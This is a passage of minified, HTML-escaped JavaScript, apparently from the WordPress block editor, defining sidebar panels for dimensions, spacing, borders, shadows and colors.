t.forEach(r=&gt;{r===&quot;vertical&quot;&amp;&amp;(o.top=e.top,o.bottom=e.bottom),r===&quot;horizontal&quot;&amp;&amp;(o.left=e.left,o.right=e.right),o[r]=e?.[r]}),o}function Tse(e){return e&amp;&amp;typeof e==&quot;string&quot;?{top:e,right:e,bottom:e,left:e}:e}function sIe(e,t){return e&amp;&amp;(typeof e==&quot;string&quot;?t?{top:e,right:e,bottom:e,left:e}:{top:e}:{...e,right:e?.left,bottom:e?.top})}function aIe({resetAllFilter:e,onChange:t,value:o,panelId:r,children:n}){let i=Ro(),s=()=&gt;{let a=e(o);t(a)};return(0,We.jsx)(jt.__experimentalToolsPanel,{label:(0,Zt.__)(&quot;Dimensions&quot;),resetAll:s,panelId:r,dropdownMenuProps:i,children:n})}var ea={contentSize:!0,wideSize:!0,padding:!0,margin:!0,blockGap:!0,height:!0,minHeight:!0,width:!0,aspectRatio:!0,childLayout:!0};function DP({as:e=aIe,value:t,onChange:o,inheritedValue:r=t,settings:n,panelId:i,defaultControls:s=ea,onVisualize:a=()=&gt;{},includeLayoutControls:c=!1}){let{dimensions:u,spacing:d}=n,f=te=&gt;te&amp;&amp;typeof te==&quot;object&quot;?Object.keys(te).reduce((Le,ct)=&gt;(Le[ct]=wn({settings:{dimensions:u,spacing:d}},&quot;&quot;,te[ct]),Le),{}):wn({settings:{dimensions:u,spacing:d}},&quot;&quot;,te),m=iIe(n),h=(0,jt.__experimentalUseCustomUnits)({availableUnits:n?.spacing?.units||[&quot;%&quot;,&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vw&quot;]}),p=-1/0,[g,b]=(0,Hb.useState)(p),v=Ise(n)&amp;&amp;c,k=f(r?.layout?.contentSize),y=te=&gt;{o(pe(t,[&quot;layout&quot;,&quot;contentSize&quot;],te||void 0))},S=()=&gt;!!t?.layout?.contentSize,x=()=&gt;y(void 0),C=Pse(n)&amp;&amp;c,B=f(r?.layout?.wideSize),I=te=&gt;{o(pe(t,[&quot;layout&quot;,&quot;wideSize&quot;],te||void 0))},P=()=&gt;!!t?.layout?.wideSize,E=()=&gt;I(void 0),L=Rse(n),T=f(r?.spacing?.padding),O=Tse(T),D=Array.isArray(n?.spacing?.padding)?n?.spacing?.padding:n?.spacing?.padding?.sides,U=D&amp;&amp;D.some(te=&gt;zF.includes(te)),G=te=&gt;{let Le=Ese(te,D);o(pe(t,[&quot;spacing&quot;,&quot;padding&quot;],Le))},j=()=&gt;!!t?.spacing?.padding&amp;&amp;Object.keys(t?.spacing?.padding).length,z=()=&gt;G(void 0),W=()=&gt;a(&quot;padding&quot;),ee=Ose(n),se=f(r?.spacing?.margin),ce=Tse(se),ie=Array.isArray(n?.spacing?.margin)?n?.spacing?.margin:n?.spacing?.margin?.sides,re=ie&amp;&amp;ie.some(te=&gt;zF.includes(te)),Q=te=&gt;{let Le=Ese(te,ie);o(pe(t,[&quot;spacing&quot;,&quot;margin&quot;],Le))},Y=()=&gt;!!t?.spacing?.margin&amp;&amp;Object.keys(t?.spacing?.margin).length,J=()=&gt;Q(void 0),K=()=&gt;a(&quot;margin&quot;),H=Ase(n),X=Array.isArray(n?.spacing?.blockGap)?n?.spacing?.blockGap:n?.spacing?.blockGap?.sides,ne=X&amp;&amp;X.some(te=&gt;zF.includes(te)),le=f(r?.spacing?.blockGap),ve=sIe(le,ne),he=te=&gt;{o(pe(t,[&quot;spacing&quot;,&quot;blockGap&quot;],te))},xe=te=&gt;{te||he(null),!ne&amp;&amp;te?.hasOwnProperty(&quot;top&quot;)?he(te.top):he({top:te?.top,left:te?.left})},ze=()=&gt;he(void 0),ot=()=&gt;!!t?.spacing?.blockGap,Wt=Nse(n),fo=f(r?.dimensions?.minHeight),Do=te=&gt;{let Le=pe(t,[&quot;dimensions&quot;,&quot;minHeight&quot;],te);o(pe(Le,[&quot;dimensions&quot;,&quot;aspectRatio&quot;],void 0))},rt=()=&gt;{Do(void 0)},ar=()=&gt;!!t?.dimensions?.minHeight,xt=Lse(n),At=f(r?.dimensions?.height),Pe=te=&gt;{let Le=pe(t,[&quot;dimensions&quot;,&quot;height&quot;],te);o(pe(Le,[&quot;dimensions&quot;,&quot;aspectRatio&quot;],void 0))},wt=()=&gt;{Pe(void 0)},qo=()=&gt;!!t?.dimensions?.height,$t=Mse(n),lr=f(r?.dimensions?.width),ln=te=&gt;{o(pe(t,[&quot;dimensions&quot;,&quot;width&quot;],te))},je=()=&gt;{ln(void 0)},Eo=()=&gt;!!t?.dimensions?.width,Ze=Dse(n),Ve=f(r?.dimensions?.aspectRatio),gt=te=&gt;{let Le=pe(t,[&quot;dimensions&quot;,&quot;aspectRatio&quot;],te);o(pe(Le,[&quot;dimensions&quot;,&quot;minHeight&quot;],void 0))},To=()=&gt;!!t?.dimensions?.aspectRatio,cr=Vse(n),ge=r?.layout,Ct=te=&gt;{o({...t,layout:{...te}})},Io=(0,Hb.useCallback)(te=&gt;({...te,layout:Me({...te?.layout,contentSize:void 0,wideSize:void 0,selfStretch:void 0,flexSize:void 0,columnStart:void 0,rowStart:void 0,columnSpan:void 0,rowSpan:void 0}),spacing:{...te?.spacing,padding:void 0,margin:void 0,blockGap:void 0},dimensions:{...te?.dimensions,height:void 0,minHeight:void 0,aspectRatio:void 0,width:void 0}}),[]),Ke=()=&gt;a(!1);return(0,We.jsxs)(e,{resetAllFilter:Io,value:t,onChange:o,panelId:i,children:[(v||C)&amp;&amp;(0,We.jsx)(&quot;span&quot;,{className:&quot;span-columns&quot;,children:(0,Zt.__)(&quot;Set the width of the main content area.&quot;)}),v&amp;&amp;(0,We.jsx)(jt.__experimentalToolsPanelItem,{label:(0,Zt.__)(&quot;Content width&quot;),hasValue:S,onDeselect:x,isShownByDefault:s.contentSize??ea.contentSize,panelId:i,children:(0,We.jsx)(jt.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,Zt.__)(&quot;Content width&quot;),labelPosition:&quot;top&quot;,value:k||&quot;&quot;,onChange:te=&gt;{y(te)},units:h,prefix:(0,We.jsx)(jt.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,We.jsx)(we,{icon:_f})})})}),C&amp;&amp;(0,We.jsx)(jt.__experimentalToolsPanelItem,{label:(0,Zt.__)(&quot;Wide width&quot;),hasValue:P,onDeselect:E,isShownByDefault:s.wideSize??ea.wideSize,panelId:i,children:(0,We.jsx)(jt.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,Zt.__)(&quot;Wide width&quot;),labelPosition:&quot;top&quot;,value:B||&quot;&quot;,onChange:te=&gt;{I(te)},units:h,prefix:(0,We.jsx)(jt.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,We.jsx)(we,{icon:Lf})})})}),L&amp;&amp;(0,We.jsxs)(jt.__experimentalToolsPanelItem,{hasValue:j,label:(0,Zt.__)(&quot;Padding&quot;),onDeselect:z,isShownByDefault:s.padding??ea.padding,className:V({&quot;tools-panel-item-spacing&quot;:m}),panelId:i,children:[!m&amp;&amp;(0,We.jsx)(jt.BoxControl,{__next40pxDefaultSize:!0,values:O,onChange:G,label:(0,Zt.__)(&quot;Padding&quot;),sides:D,units:h,allowReset:!1,splitOnAxis:U,inputProps:{onMouseOver:W,onMouseOut:Ke}}),m&amp;&amp;(0,We.jsx)(Db,{values:O,onChange:G,label:(0,Zt.__)(&quot;Padding&quot;),sides:D,units:h,allowReset:!1,onMouseOver:W,onMouseOut:Ke})]}),ee&amp;&amp;(0,We.jsxs)(jt.__experimentalToolsPanelItem,{hasValue:Y,label:(0,Zt.__)(&quot;Margin&quot;),onDeselect:J,isShownByDefault:s.margin??ea.margin,className:V({&quot;tools-panel-item-spacing&quot;:m}),panelId:i,children:[!m&amp;&amp;(0,We.jsx)(jt.BoxControl,{__next40pxDefaultSize:!0,values:ce,onChange:Q,inputProps:{min:g,onDragStart:()=&gt;{b(0)},onDragEnd:()=&gt;{b(p)},onMouseOver:K,onMouseOut:Ke},label:(0,Zt.__)(&quot;Margin&quot;),sides:ie,units:h,allowReset:!1,splitOnAxis:re}),m&amp;&amp;(0,We.jsx)(Db,{values:ce,onChange:Q,minimumCustomValue:-1/0,label:(0,Zt.__)(&quot;Margin&quot;),sides:ie,units:h,allowReset:!1,onMouseOver:K,onMouseOut:Ke})]}),H&amp;&amp;(0,We.jsxs)(jt.__experimentalToolsPanelItem,{hasValue:ot,label:(0,Zt.__)(&quot;Block spacing&quot;),onDeselect:ze,isShownByDefault:s.blockGap??ea.blockGap,className:V({&quot;tools-panel-item-spacing&quot;:m,&quot;single-column&quot;:!m&amp;&amp;!ne}),panelId:i,children:[!m&amp;&amp;(ne?(0,We.jsx)(jt.BoxControl,{__next40pxDefaultSize:!0,label:(0,Zt.__)(&quot;Block spacing&quot;),min:0,onChange:xe,units:h,sides:X,values:ve,allowReset:!1,splitOnAxis:ne}):(0,We.jsx)(jt.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,Zt.__)(&quot;Block spacing&quot;),min:0,onChange:he,units:h,value:le})),m&amp;&amp;(0,We.jsx)(Db,{label:(0,Zt.__)(&quot;Block spacing&quot;),min:0,onChange:xe,showSideInLabel:!1,sides:ne?X:[&quot;top&quot;],values:ve,allowReset:!1})]}),cr&amp;&amp;(0,We.jsx)(Bse,{value:ge,onChange:Ct,parentLayout:n?.parentLayout,panelId:i,isShownByDefault:s.childLayout??ea.childLayout}),Wt&amp;&amp;(0,We.jsx)(jt.__experimentalToolsPanelItem,{hasValue:ar,label:(0,Zt.__)(&quot;Minimum height&quot;),onDeselect:rt,isShownByDefault:s.minHeight??ea.minHeight,panelId:i,children:(0,We.jsx)(lb,{label:(0,Zt.__)(&quot;Minimum height&quot;),value:fo,onChange:Do})}),xt&amp;&amp;(0,We.jsx)(jt.__experimentalToolsPanelItem,{hasValue:qo,label:(0,Zt.__)(&quot;Height&quot;),onDeselect:wt,isShownByDefault:s.height??ea.height,panelId:i,children:(0,We.jsx)(lb,{label:(0,Zt.__)(&quot;Height&quot;),value:At,onChange:Pe})}),$t&amp;&amp;(0,We.jsx)(jt.__experimentalToolsPanelItem,{hasValue:Eo,label:(0,Zt.__)(&quot;Width&quot;),onDeselect:je,isShownByDefault:s.width??ea.width,panelId:i,children:(0,We.jsx)(lb,{label:(0,Zt.__)(&quot;Width&quot;),value:lr,onChange:ln})}),Ze&amp;&amp;(0,We.jsx)(NP,{hasValue:To,value:Ve,onChange:gt,panelId:i,isShownByDefault:s.aspectRatio??ea.aspectRatio})]})}var en=l(A(),1),Wb=l(R(),1),Gb=l(N(),1);var ip=l(N(),1),xo=l(A(),1),FP=l(R(),1);var Rt=l(w(),1),VP=[];function lIe({shadow:e,onShadowChange:t,settings:o}){let r=jF(o);return(0,Rt.jsx)(&quot;div&quot;,{className:&quot;block-editor-global-styles__shadow-popover-container&quot;,children:(0,Rt.jsxs)(xo.__experimentalVStack,{spacing:4,children:[(0,Rt.jsx)(xo.__experimentalHeading,{level:5,children:(0,ip.__)(&quot;Drop shadow&quot;)}),(0,Rt.jsx)(cIe,{presets:r,activeShadow:e,onSelect:t}),(0,Rt.jsx)(&quot;div&quot;,{className:&quot;block-editor-global-styles__clear-shadow&quot;,children:(0,Rt.jsx)(xo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;t(void 0),disabled:!e,accessibleWhenDisabled:!0,children:(0,ip.__)(&quot;Clear&quot;)})})]})})}function cIe({presets:e,activeShadow:t,onSelect:o}){return e?(0,Rt.jsx)(xo.Composite,{role:&quot;listbox&quot;,className:&quot;block-editor-global-styles__shadow__list&quot;,&quot;aria-label&quot;:(0,ip.__)(&quot;Drop shadows&quot;),children:e.map(({name:r,slug:n,shadow:i})=&gt;(0,Rt.jsx)(uIe,{label:r,isActive:i===t,type:n===&quot;unset&quot;?&quot;unset&quot;:&quot;preset&quot;,onSelect:()=&gt;o(i===t?void 0:i),shadow:i},n))}):null}function uIe({type:e,label:t,isActive:o,onSelect:r,shadow:n}){return(0,Rt.jsx)(xo.Tooltip,{text:t,children:(0,Rt.jsx)(xo.Composite.Item,{role:&quot;option&quot;,&quot;aria-label&quot;:t,&quot;aria-selected&quot;:o,className:V(&quot;block-editor-global-styles__shadow__item&quot;,{&quot;is-active&quot;:o}),render:(0,Rt.jsx)(&quot;button&quot;,{className:V(&quot;block-editor-global-styles__shadow-indicator&quot;,{unset:e===&quot;unset&quot;}),onClick:r,style:{boxShadow:n},&quot;aria-label&quot;:t,children:o&amp;&amp;(0,Rt.jsx)(we,{icon:gl})})})})}function Fse({shadow:e,onShadowChange:t,settings:o}){return(0,Rt.jsx)(xo.Dropdown,{popoverProps:{placement:&quot;left-start&quot;,offset:36,shift:!0},className:&quot;block-editor-global-styles__shadow-dropdown&quot;,renderToggle:dIe(e,t),renderContent:()=&gt;(0,Rt.jsx)(xo.__experimentalDropdownContentWrapper,{paddingSize:&quot;medium&quot;,children:(0,Rt.jsx)(lIe,{shadow:e,onShadowChange:t,settings:o})})})}function dIe(e,t){return function({onToggle:r,isOpen:n}){let i=(0,FP.useRef)(void 0),s={onClick:r,className:V(&quot;block-editor-global-styles__shadow-dropdown-toggle&quot;,{&quot;is-open&quot;:n}),&quot;aria-expanded&quot;:n,ref:i},a={onClick:()=&gt;{n&amp;&amp;r(),t(void 0),i.current?.focus()},className:V(&quot;block-editor-global-styles__shadow-editor__remove-button&quot;,{&quot;is-open&quot;:n}),label:(0,ip.__)(&quot;Remove&quot;)};return(0,Rt.jsxs)(Rt.Fragment,{children:[(0,Rt.jsx)(xo.Button,{__next40pxDefaultSize:!0,...s,children:(0,Rt.jsxs)(xo.__experimentalHStack,{justify:&quot;flex-start&quot;,children:[(0,Rt.jsx)(we,{className:&quot;block-editor-global-styles__toggle-icon&quot;,icon:iN,size:24}),(0,Rt.jsx)(xo.FlexItem,{children:(0,ip.__)(&quot;Drop shadow&quot;)})]})}),!!e&amp;&amp;(0,Rt.jsx)(xo.Button,{__next40pxDefaultSize:!0,size:&quot;small&quot;,icon:Dr,...a})]})}}function jF(e){return(0,FP.useMemo)(()=&gt;{if(!e?.shadow)return VP;let t=e?.shadow?.defaultPresets,{default:o,theme:r,custom:n}=e?.shadow?.presets??{},i={name:(0,ip.__)(&quot;Unset&quot;),slug:&quot;unset&quot;,shadow:&quot;none&quot;},s=[...t&amp;&amp;o||VP,...r||VP,...n||VP];return s.length&amp;&amp;s.unshift(i),s},[e])}var ta=l(w(),1);function zP(e){return Object.values(p_(e)).some(Boolean)}function p_(e){return{hasBorderColor:zse(e),hasBorderRadius:jse(e),hasBorderStyle:Use(e),hasBorderWidth:Hse(e),hasShadow:Gse(e)}}function zse(e){return e?.border?.color}function jse(e){return e?.border?.radius}function Use(e){return e?.border?.style}function Hse(e){return e?.border?.width}function Gse(e){let t=jF(e);return!!e?.shadow&amp;&amp;t.length&gt;0}function fIe({resetAllFilter:e,onChange:t,value:o,panelId:r,children:n,label:i}){let s=Ro();return(0,ta.jsx)(en.__experimentalToolsPanel,{label:i,resetAll:()=&gt;{let c=e(o);t(c)},panelId:r,dropdownMenuProps:s,children:n})}var mIe={radius:!0,color:!0,width:!0,shadow:!0};function jP({as:e=fIe,value:t,onChange:o,inheritedValue:r=t,settings:n,panelId:i,name:s,defaultControls:a=mIe}){let c=Xa(n),u=(0,Wb.useCallback)(j=&gt;wn({settings:n},&quot;&quot;,j),[n]),d=j=&gt;{let W=c.flatMap(({colors:ee})=&gt;ee).find(({color:ee})=&gt;ee===j);return W?&quot;var:preset|color|&quot;+W.slug:j},f=(0,Wb.useMemo)(()=&gt;{if((0,en.__experimentalHasSplitBorders)(r?.border)){let j={...r?.border};return[&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;].forEach(z=&gt;{j[z]={...j[z],color:u(j[z]?.color)}}),j}return{...r?.border,color:r?.border?.color?u(r?.border?.color):void 0}},[r?.border,u]),m=j=&gt;o({...t,border:j}),h=zse(n),p=Use(n),g=Hse(n),b=jse(n),v=(0,Wb.useMemo)(()=&gt;typeof r?.border?.radius!=&quot;object&quot;?u(r?.border?.radius):{topLeft:u(r?.border?.radius?.topLeft),topRight:u(r?.border?.radius?.topRight),bottomLeft:u(r?.border?.radius?.bottomLeft),bottomRight:u(r?.border?.radius?.bottomRight)},[r?.border?.radius,u]),k=j=&gt;m({...f,radius:j}),y=()=&gt;{let j=t?.border?.radius;return typeof j==&quot;object&quot;?Object.entries(j).some(Boolean):!!j},S=Gse(n),x=u(r?.shadow),C=n?.shadow?.presets??{},B=C.custom??C.theme??C.default??[],I=j=&gt;{let z=B?.find(({shadow:W})=&gt;W===j)?.slug;o(pe(t,[&quot;shadow&quot;],z?`var:preset|shadow|${z}`:j||void 0))},P=()=&gt;!!t?.shadow,E=()=&gt;I(void 0),L=()=&gt;{if(y())return m({radius:t?.border?.radius});m(void 0)},T=j=&gt;{let z={...j};(0,en.__experimentalHasSplitBorders)(z)?[&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;].forEach(W=&gt;{z[W]&amp;&amp;(z[W]={...z[W],color:d(z[W]?.color)})}):z&amp;&amp;(z.color=d(z.color)),m({radius:f?.radius,...z})},O=(0,Wb.useCallback)(j=&gt;({...j,border:void 0,shadow:void 0}),[]),D=a?.color||a?.width,U=h||p||g||b,G=$b({blockName:s,hasShadowControl:S,hasBorderControl:U});return(0,ta.jsxs)(e,{resetAllFilter:O,value:t,onChange:o,panelId:i,label:G,children:[(g||h)&amp;&amp;(0,ta.jsx)(en.__experimentalToolsPanelItem,{hasValue:()=&gt;(0,en.__experimentalIsDefinedBorder)(t?.border),label:(0,Gb.__)(&quot;Border&quot;),onDeselect:()=&gt;L(),isShownByDefault:D,panelId:i,children:(0,ta.jsx)(en.BorderBoxControl,{colors:c,enableAlpha:!0,enableStyle:p,onChange:T,popoverOffset:40,popoverPlacement:&quot;left-start&quot;,value:f,__experimentalIsRenderedInSidebar:!0,size:&quot;__unstable-large&quot;,hideLabelFromVision:!S,label:(0,Gb.__)(&quot;Border&quot;)})}),b&amp;&amp;(0,ta.jsx)(en.__experimentalToolsPanelItem,{hasValue:y,label:(0,Gb.__)(&quot;Radius&quot;),onDeselect:()=&gt;k(void 0),isShownByDefault:a.radius,panelId:i,children:(0,ta.jsx)(ZT,{presets:n?.border?.radiusSizes,values:v,onChange:j=&gt;{k(j||void 0)}})}),S&amp;&amp;(0,ta.jsxs)(en.__experimentalToolsPanelItem,{label:(0,Gb.__)(&quot;Shadow&quot;),hasValue:P,onDeselect:E,isShownByDefault:a.shadow,panelId:i,children:[U?(0,ta.jsx)(en.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:(0,Gb.__)(&quot;Shadow&quot;)}):null,(0,ta.jsx)(Fse,{shadow:x,onShadowChange:I,settings:n})]})]})}var Qt=l(A(),1),HP=l(R(),1),Xt=l(N(),1);var at=l(w(),1);function GP(e){let t=$se(e),o=Zse(e),r=Kse(e),n=Dd(e),i=qse(e),s=Yse(e);return t||o||r||n||i||s}function $se(e){let t=Xa(e);return e?.color?.text&amp;&amp;(t?.length&gt;0||e?.color?.custom)}function Kse(e){let t=Xa(e);return e?.color?.link&amp;&amp;(t?.length&gt;0||e?.color?.custom)}function Yse(e){let t=Xa(e);return e?.color?.caption&amp;&amp;(t?.length&gt;0||e?.color?.custom)}function Dd(e){let t=Xa(e),o=f_(e);return e?.color?.heading&amp;&amp;(t?.length&gt;0||e?.color?.custom||o?.length&gt;0||e?.color?.customGradient)}function qse(e){let t=Xa(e),o=f_(e);return e?.color?.button&amp;&amp;(t?.length&gt;0||e?.color?.custom||o?.length&gt;0||e?.color?.customGradient)}function Zse(e){let t=Xa(e),o=f_(e);return e?.color?.background&amp;&amp;(t?.length&gt;0||e?.color?.custom||o?.length&gt;0||e?.color?.customGradient)}function UF({resetAllFilter:e,onChange:t,value:o,panelId:r,children:n,label:i}){let s=Ro(),a=()=&gt;{let c=e(o);t(c)};return(0,at.jsx)(Qt.__experimentalToolsPanel,{label:i||(0,Xt.__)(&quot;Elements&quot;),resetAll:a,panelId:r,hasInnerWrapper:!0,headingLevel:3,className:&quot;color-block-support-panel&quot;,__experimentalFirstVisibleItemClass:&quot;first&quot;,__experimentalLastVisibleItemClass:&quot;last&quot;,dropdownMenuProps:s,children:(0,at.jsx)(&quot;div&quot;,{className:&quot;color-block-support-panel__inner-wrapper&quot;,children:n})})}var pIe={text:!0,background:!0,link:!0,heading:!0,button:!0,caption:!0},hIe={placement:&quot;left-start&quot;,offset:36,shift:!0},{Tabs:UP}=M(Qt.privateApis),gIe=({indicators:e,label:t})=&gt;(0,at.jsxs)(Qt.__experimentalHStack,{justify:&quot;flex-start&quot;,children:[(0,at.jsx)(Qt.__experimentalZStack,{isLayered:!1,offset:-8,children:e.map((o,r)=&gt;(0,at.jsx)(Qt.Flex,{expanded:!1,children:(0,at.jsx)(Qt.ColorIndicator,{colorValue:o})},r))}),(0,at.jsx)(Qt.FlexItem,{className:&quot;block-editor-panel-color-gradient-settings__color-name&quot;,children:t})]});function Wse({isGradient:e,inheritedValue:t,userValue:o,setValue:r,colorGradientControlSettings:n}){return(0,at.jsx)(_d,{...n,showTitle:!1,enableAlpha:!0,__experimentalIsRenderedInSidebar:!0,colorValue:e?void 0:t,gradientValue:e?t:void 0,onColorChange:e?void 0:r,onGradientChange:e?r:void 0,clearable:t===o,headingLevel:3})}function bIe({label:e,hasValue:t,resetValue:o,isShownByDefault:r,indicators:n,tabs:i,colorGradientControlSettings:s,panelId:a}){let c=i.find(m=&gt;m.userValue!==void 0),{key:u,...d}=i[0]??{},f=(0,HP.useRef)(void 0);return(0,at.jsx)(Qt.__experimentalToolsPanelItem,{className:&quot;block-editor-tools-panel-color-gradient-settings__item&quot;,hasValue:t,label:e,onDeselect:o,isShownByDefault:r,panelId:a,children:(0,at.jsx)(Qt.Dropdown,{popoverProps:hIe,className:&quot;block-editor-tools-panel-color-gradient-settings__dropdown&quot;,renderToggle:({onToggle:m,isOpen:h})=&gt;{let p={onClick:m,className:V(&quot;block-editor-panel-color-gradient-settings__dropdown&quot;,{&quot;is-open&quot;:h}),&quot;aria-expanded&quot;:h,ref:f};return(0,at.jsxs)(at.Fragment,{children:[(0,at.jsx)(Qt.Button,{...p,__next40pxDefaultSize:!0,children:(0,at.jsx)(gIe,{indicators:n,label:e})}),t()&amp;&amp;(0,at.jsx)(Qt.Button,{__next40pxDefaultSize:!0,label:(0,Xt.__)(&quot;Reset&quot;),className:&quot;block-editor-panel-color-gradient-settings__reset&quot;,size:&quot;small&quot;,icon:Dr,onClick:()=&gt;{o(),h&amp;&amp;m(),f.current?.focus()}})]})},renderContent:()=&gt;(0,at.jsx)(Qt.__experimentalDropdownContentWrapper,{paddingSize:&quot;none&quot;,children:(0,at.jsxs)(&quot;div&quot;,{className:&quot;block-editor-panel-color-gradient-settings__dropdown-content&quot;,children:[i.length===1&amp;&amp;(0,at.jsx)(Wse,{...d,colorGradientControlSettings:s},u),i.length&gt;1&amp;&amp;(0,at.jsxs)(UP,{defaultTabId:c?.key,children:[(0,at.jsx)(UP.TabList,{children:i.map(m=&gt;(0,at.jsx)(UP.Tab,{tabId:m.key,children:m.label},m.key))}),i.map(m=&gt;{let{key:h,...p}=m;return(0,at.jsx)(UP.TabPanel,{tabId:h,focusable:!1,children:(0,at.jsx)(Wse,{...p,colorGradientControlSettings:s},h)},h)})]})]})})})})}function WP({as:e=UF,value:t,onChange:o,inheritedValue:r=t,settings:n,panelId:i,defaultControls:s=pIe,label:a,children:c}){let u=Xa(n),d=f_(n),f=n?.color?.custom,m=n?.color?.customGradient,h=u.length&gt;0||f,p=d.length&gt;0||m,g=H=&gt;wn({settings:n},&quot;&quot;,H),b=H=&gt;{let ne=u.flatMap(({colors:le})=&gt;le).find(({color:le})=&gt;le===H);return ne?&quot;var:preset|color|&quot;+ne.slug:H},v=H=&gt;{let ne=d.flatMap(({gradients:le})=&gt;le).find(({gradient:le})=&gt;le===H);return ne?&quot;var:preset|gradient|&quot;+ne.slug:H},k=Zse(n),y=g(r?.color?.background),S=g(t?.color?.background),x=g(r?.color?.gradient),C=g(t?.color?.gradient),B=()=&gt;!!S||!!C,I=H=&gt;{let X=pe(t,[&quot;color&quot;,&quot;background&quot;],b(H));X.color.gradient=void 0,o(X)},P=H=&gt;{let X=pe(t,[&quot;color&quot;,&quot;gradient&quot;],v(H));X.color.background=void 0,o(X)},E=()=&gt;{let H=pe(t,[&quot;color&quot;,&quot;background&quot;],void 0);H.color.gradient=void 0,o(H)},L=Kse(n),T=g(r?.elements?.link?.color?.text),O=g(t?.elements?.link?.color?.text),D=H=&gt;{o(pe(t,[&quot;elements&quot;,&quot;link&quot;,&quot;color&quot;,&quot;text&quot;],b(H)))},U=g(r?.elements?.link?.[&quot;:hover&quot;]?.color?.text),G=g(t?.elements?.link?.[&quot;:hover&quot;]?.color?.text),j=H=&gt;{o(pe(t,[&quot;elements&quot;,&quot;link&quot;,&quot;:hover&quot;,&quot;color&quot;,&quot;text&quot;],b(H)))},z=()=&gt;!!O||!!G,W=()=&gt;{let H=pe(t,[&quot;elements&quot;,&quot;link&quot;,&quot;:hover&quot;,&quot;color&quot;,&quot;text&quot;],void 0);H=pe(H,[&quot;elements&quot;,&quot;link&quot;,&quot;color&quot;,&quot;text&quot;],void 0),o(H)},ee=$se(n),se=g(r?.color?.text),ce=g(t?.color?.text),ie=()=&gt;!!ce,re=H=&gt;{let X=pe(t,[&quot;color&quot;,&quot;text&quot;],b(H));se===T&amp;&amp;(X=pe(X,[&quot;elements&quot;,&quot;link&quot;,&quot;color&quot;,&quot;text&quot;],b(H))),o(X)},Q=()=&gt;re(void 0),Y=[{name:&quot;caption&quot;,label:(0,Xt.__)(&quot;Captions&quot;),showPanel:Yse(n)},{name:&quot;button&quot;,label:(0,Xt.__)(&quot;Button&quot;),showPanel:qse(n)},{name:&quot;heading&quot;,label:(0,Xt.__)(&quot;Heading&quot;),showPanel:Dd(n)},{name:&quot;h1&quot;,label:(0,Xt.__)(&quot;H1&quot;),showPanel:Dd(n)},{name:&quot;h2&quot;,label:(0,Xt.__)(&quot;H2&quot;),showPanel:Dd(n)},{name:&quot;h3&quot;,label:(0,Xt.__)(&quot;H3&quot;),showPanel:Dd(n)},{name:&quot;h4&quot;,label:(0,Xt.__)(&quot;H4&quot;),showPanel:Dd(n)},{name:&quot;h5&quot;,label:(0,Xt.__)(&quot;H5&quot;),showPanel:Dd(n)},{name:&quot;h6&quot;,label:(0,Xt.__)(&quot;H6&quot;),showPanel:Dd(n)}],J=(0,HP.useCallback)(H=&gt;({...H,color:void 0,elements:{...H?.elements,link:{...H?.elements?.link,color:void 0,&quot;:hover&quot;:{color:void 0}},...Y.reduce((X,ne)=&gt;({...X,[ne.name]:{...H?.elements?.[ne.name],color:void 0}}),{})}}),[Y]),K=[ee&amp;&amp;{key:&quot;text&quot;,label:(0,Xt.__)(&quot;Text&quot;),hasValue:ie,resetValue:Q,isShownByDefault:s.text,indicators:[se],tabs:[{key:&quot;text&quot;,label:(0,Xt.__)(&quot;Text&quot;),inheritedValue:se,setValue:re,userValue:ce}]},k&amp;&amp;{key:&quot;background&quot;,label:(0,Xt.__)(&quot;Background&quot;),hasValue:B,resetValue:E,isShownByDefault:s.background,indicators:[x??y],tabs:[h&amp;&amp;{key:&quot;background&quot;,label:(0,Xt.__)(&quot;Color&quot;),inheritedValue:y,setValue:I,userValue:S},p&amp;&amp;{key:&quot;gradient&quot;,label:(0,Xt.__)(&quot;Gradient&quot;),inheritedValue:x,setValue:P,userValue:C,isGradient:!0}].filter(Boolean)},L&amp;&amp;{key:&quot;link&quot;,label:(0,Xt.__)(&quot;Link&quot;),hasValue:z,resetValue:W,isShownByDefault:s.link,indicators:[T,U],tabs:[{key:&quot;link&quot;,label:(0,Xt.__)(&quot;Default&quot;),inheritedValue:T,setValue:D,userValue:O},{key:&quot;hover&quot;,label:(0,Xt.__)(&quot;Hover&quot;),inheritedValue:U,setValue:j,userValue:G}]}].filter(Boolean);return Y.forEach(({name:H,label:X,showPanel:ne})=&gt;{if(!ne)return;let le=g(r?.elements?.[H]?.color?.background),ve=g(r?.elements?.[H]?.color?.gradient),he=g(r?.elements?.[H]?.color?.text),xe=g(t?.elements?.[H]?.color?.background),ze=g(t?.elements?.[H]?.color?.gradient),ot=g(t?.elements?.[H]?.color?.text),Wt=()=&gt;!!(ot||xe||ze),fo=()=&gt;{let Pe=pe(t,[&quot;elements&quot;,H,&quot;color&quot;,&quot;background&quot;],void 0);Pe.elements[H].color.gradient=void 0,Pe.elements[H].color.text=void 0,o(Pe)},Do=Pe=&gt;{o(pe(t,[&quot;elements&quot;,H,&quot;color&quot;,&quot;text&quot;],b(Pe)))},rt=Pe=&gt;{let wt=pe(t,[&quot;elements&quot;,H,&quot;color&quot;,&quot;background&quot;],b(Pe));wt.elements[H].color.gradient=void 0,o(wt)},ar=Pe=&gt;{let wt=pe(t,[&quot;elements&quot;,H,&quot;color&quot;,&quot;gradient&quot;],v(Pe));wt.elements[H].color.background=void 